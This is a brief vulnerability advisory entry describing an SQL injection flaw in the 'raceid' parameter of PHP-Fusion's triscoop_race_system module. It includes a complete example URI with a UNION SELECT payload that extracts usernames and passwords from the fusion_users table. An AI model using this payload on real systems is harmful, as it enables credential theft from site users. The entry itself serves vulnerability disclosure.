|
PHP-Fusion 'triscoop_race_system' Module 'raceid' Parameter SQL Injection Vulnerability
An attacker can exploit this issue via a browser. The following example URI is available: http://www.example.com/infusions/triscoop_race_system/race_details.php?raceid=-9999+union+all+select+1,null,null,4,null,user_name,7,user_password,null,0,null,null,13,14,null,16,17,18,19,20,21,22+from+fusion_users-- |
|
|
Privacy Statement |
